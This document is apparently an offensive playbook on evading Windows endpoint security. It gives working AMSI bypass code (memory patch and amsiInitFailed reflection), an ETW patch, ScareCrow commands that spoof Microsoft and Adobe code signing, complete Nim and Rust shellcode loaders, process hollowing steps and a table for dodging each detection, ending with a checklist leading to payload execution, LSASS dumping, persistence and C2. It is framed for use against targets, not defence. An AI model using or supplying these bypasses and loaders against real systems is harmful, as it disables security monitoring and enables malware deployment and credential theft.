Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.
Quick Reference
Task
Technique
Risk Level
Disable AMSI
Memory patch AmsiScanBuffer
Medium
Disable AMSI (stealthier)
Hardware breakpoint on AmsiScanBuffer
Low
Disable ETW
Patch EtwEventWrite
Medium
Unhook EDR DLLs
ScareCrow / manual ntdll reload
High
Generate evasive payload
ScareCrow with AES encryption
Medium
Execute via LOLBAS
相关技能
mshta, certutil, rundll32, regsvr32
Varies
Process injection
Process hollowing, early bird
High
Custom loader
Nim/Rust/Go shellcode runner
Low-Medium
MITRE ATT&CK Mapping
Technique ID
Name
Evasion Relevance
T1562
Impair Defenses
AMSI/ETW patching, disabling logging
T1027
Obfuscated Files or Information
AES-encrypted shellcode, encoding
T1055
Process Injection
Hollowing, APC injection, thread hijack
T1218
System Binary Proxy Execution
LOLBAS (mshta, rundll32, regsvr32)
T1036
Masquerading
Spoofed code signing, renamed binaries
T1140
Deobfuscate/Decode Files
Runtime decryption of payloads
1. AMSI Bypass Techniques
Memory Patching (AmsiScanBuffer)
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))
# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)
Hardware Breakpoint Method (Stealthier)
// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks
// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution
// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread
Reflection Method
# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process
[Ref].Assembly.GetType(
'System.Management.Automation.AmsiUtils'
).GetField(
'amsiInitFailed',
'NonPublic,Static'
).SetValue($null, $true)
AMSI Bypass OPSEC Notes
Method
Detectable By
OPSEC Rating
Memory patch
EDR memory scanning, Integrity checks
Medium
Hardware breakpoint
Thread context inspection (rare)
High
Reflection (amsiInitFailed)
Script block logging, known signature
Low
Forcing AMSI error
Process monitor, event correlation
Medium
2. ETW Patching
Patching EtwEventWrite
// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.
IntPtr etwAddr = GetProcAddress(
GetModuleHandle("ntdll.dll"),
"EtwEventWrite"
);
// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);
What ETW Patching Disables
.NET assembly load events (used by EDR to detect execute-assembly)
PowerShell ScriptBlock logging
Process creation events via ETW providers
Network connection telemetry from userland
ETW OPSEC Notes
Patch BEFORE loading any tools or assemblies
Some EDRs monitor EtwEventWrite integrity --- pair with unhooking
Kernel-level ETW (via ETW Threat Intelligence provider) is NOT affected by userland patches
Consider patching NtTraceEvent as well for deeper coverage
3. ScareCrow Framework
Overview
ScareCrow generates payloads that bypass EDR by unhooking userland API hooks, using direct syscalls, and applying AES encryption with spoofed code signing certificates.
Loads clean ntdll.dll from disk, replaces hooked copy
AES encryption
-encryptionmode AES
Encrypts shellcode, decrypts at runtime
Code signing spoof
-domain microsoft.com
Spoofs authenticode signature from specified domain
Process injection
-injection <path>
Injects into specified sacrificial process
DLL loader
-Loader dll
Output as DLL for sideloading scenarios
Console hiding
-console
Hides console window on execution
Sandbox evasion
-sandbox
Adds anti-sandbox checks (sleep, mouse, CPU)
Code Signing Spoofing
# Spoof Microsoft code signing cert
ScareCrow -I shellcode.bin -domain microsoft.com -Loader binary -o payload.exe
# Spoof any vendor
ScareCrow -I shellcode.bin -domain adobe.com -Loader binary -o payload.exe
# How it works:
# 1. Fetches the real SSL certificate from the target domain
# 2. Creates a self-signed certificate using the same subject/issuer fields
# 3. Signs the binary with this spoofed certificate
# 4. Many EDRs only check if a cert is present, not full chain validation
4. Custom Loaders
All loaders follow the same pattern: decrypt shellcode at runtime, allocate RW memory, copy shellcode, change to RX, execute via thread.
Nim Shellcode Loader
# Compile: nim c -d:mingw -d:release --app:gui nim_loader.nim
import winim/lean
const encShellcode: array[N, byte] = [ # <ENCRYPTED_SHELLCODE_BYTES> ]
const key: array[16, byte] = [ # <KEY_BYTES> ]
proc main() =
var shellcode = newSeq[byte](encShellcode.len)
for i in 0..<encShellcode.len:
shellcode[i] = encShellcode[i] xor key[i mod key.len]
let mem = VirtualAlloc(nil, shellcode.len, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
copyMem(mem, unsafeAddr shellcode[0], shellcode.len)
var oldProtect: DWORD
VirtualProtect(mem, shellcode.len, PAGE_EXECUTE_READ, addr oldProtect)
WaitForSingleObject(CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, nil), INFINITE)
main()
Rust Shellcode Loader
// Build: cargo build --release --target x86_64-pc-windows-gnu
#![windows_subsystem = "windows"]
use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;
const ENC_SC: &[u8] = &[ /* <ENCRYPTED_SHELLCODE_BYTES> */ ];
const KEY: &[u8] = &[ /* <KEY_BYTES> */ ];
fn main() {
let sc: Vec<u8> = ENC_SC.iter().enumerate().map(|(i, b)| b ^ KEY[i % KEY.len()]).collect();
unsafe {
let mem = VirtualAlloc(ptr::null(), sc.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ptr::copy_nonoverlapping(sc.as_ptr(), mem as *mut u8, sc.len());
let mut op: u32 = 0;
VirtualProtect(mem, sc.len(), PAGE_EXECUTE_READ, &mut op);
WaitForSingleObject(
CreateThread(ptr::null(), 0, Some(std::mem::transmute(mem)), ptr::null(), 0, ptr::null_mut()),
0xFFFFFFFF);
}
}
Syscalls bypass userland API hooks placed by EDR on ntdll.dll functions. Instead of calling NtAllocateVirtualMemory through the hooked ntdll export, the code directly invokes the syscall instruction with the correct System Service Number (SSN).
Direct Syscalls
Normal API Call Flow (hooked by EDR):
Code → kernel32.dll → ntdll.dll [HOOKED] → syscall
Direct Syscall Flow (bypasses hooks):
Code → syscall instruction (SSN resolved at runtime)
Indirect Syscalls
Indirect Syscall Flow (stealthier):
Code → jump to 'syscall' instruction inside ntdll.dll
(Return address points to ntdll.dll, not our code)
Advantage: Call stack looks legitimate to EDR stack inspection
Process Hollowing Steps:
1. Create target process in SUSPENDED state
CreateProcessW("svchost.exe", ..., CREATE_SUSPENDED)
2. Unmap the original executable image
NtUnmapViewOfSection(hProcess, pImageBase)
3. Allocate memory at the original base address
VirtualAllocEx(hProcess, pImageBase, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
4. Write malicious PE image into allocated memory
WriteProcessMemory(hProcess, pImageBase, maliciousPE, imageSize)
5. Update thread context to point to new entry point
SetThreadContext(hThread, &context)
6. Resume the suspended thread
ResumeThread(hThread)
Common Injection Targets
Process
Legitimacy
Risk
svchost.exe
Runs many instances normally
Low (if correct parent)
RuntimeBroker.exe
Common in user sessions
Low
explorer.exe
Always running
Medium (single instance)
notepad.exe
Spawned on demand
Medium (must justify spawn)
dllhost.exe
COM surrogate, common
Low
Injection OPSEC
Parent-child relationship: svchost.exe must have services.exe as parent
Memory permissions: Avoid RWX; use RW for write, then change to RX
Unbacked memory: EDRs flag executable memory not backed by a file on disk
Thread creation: CreateRemoteThread is heavily monitored; prefer APC injection
Call stack: Must look legitimate; use indirect syscalls for API calls
8. Tools & Resources
Tool
Purpose
Source
ScareCrow
EDR evasion payload generator
https://github.com/optiv/ScareCrow
SysWhispers3
Syscall stub generator
https://github.com/klezVirus/SysWhispers3
Nimcrypt2
Nim-based packer/loader
https://github.com/icyguider/Nimcrypt2
Freeze
Payload creation with suspend/inject
https://github.com/optiv/Freeze
donut
PE/DLL/VBS/JS to position-independent shellcode
https://github.com/TheWover/donut
LOLBAS Project
LOLBAS reference database
https://lolbas-project.github.io/
InlineWhispers
BOF-compatible syscall stubs
https://github.com/outflanknl/InlineWhispers
SharpUnhooker
C# EDR unhooking utility
Community tool
9. Detection Signatures
Indicator
Signature / Pattern
OPSEC Note
AMSI patch detection
Integrity check on AmsiScanBuffer first bytes
Use hardware breakpoint method instead
ETW patch detection
EtwEventWrite starts with 0xC3 (ret)
Patch after EDR init, or use syscall-level patch
Memory scan (RWX)
VirtualAlloc with PAGE_EXECUTE_READWRITE
Allocate RW, copy, then VirtualProtect to RX
Unbacked executable memory
Executable pages not mapped to a file
Use module stomping or DLL hollowing
Suspicious parent-child
mshta/certutil/rundll32 spawning cmd/powershell
Match expected process trees
Code signing mismatch
Certificate subject does not match binary metadata
Align PE metadata with spoofed cert
Shellcode entropy
High entropy sections in PE or memory
Add low-entropy padding, use encoding layers
.NET assembly loading
ETW Assembly.Load events from unusual processes
Patch ETW before loading, or use BOFs
Syscall from non-ntdll
syscall instruction outside ntdll address range
Use indirect syscalls (jmp to ntdll gadget)
Thread start address
Thread entry point in unbacked memory region
Use callback-based execution (timers, APCs)
10. Decision Gate
Defense Evasion Complete --- Next Steps
Defenses Bypassed (AV/EDR/AMSI/ETW neutralized)
│
├──→ Execution
│ - Run payload/implant on target
│ - Execute post-exploitation tooling
│ - Load C2 agent in memory
│
├──→ Persistence
│ - Scheduled tasks with evasive payloads
│ - Registry-based persistence (Run keys)
│ - DLL sideloading in legitimate app directories
│ - COM object hijacking
│
├──→ Credential Access
│ - LSASS dump (with EDR bypassed)
│ - SAM extraction
│ - Kerberoasting / AS-REP roasting
│
└──→ C2 Channel Establishment
- Deploy implant with evasion features
- Confirm callback through redirector
- Set jitter and sleep obfuscation
Pre-Execution Checklist
AMSI bypassed in target PowerShell/CLR context
ETW patched to prevent assembly load telemetry
Payload tested against target's AV/EDR stack (or equivalent)
Custom loader compiled and signed (spoofed cert)
Injection target process identified and validated
Backup evasion technique prepared (if primary is burned)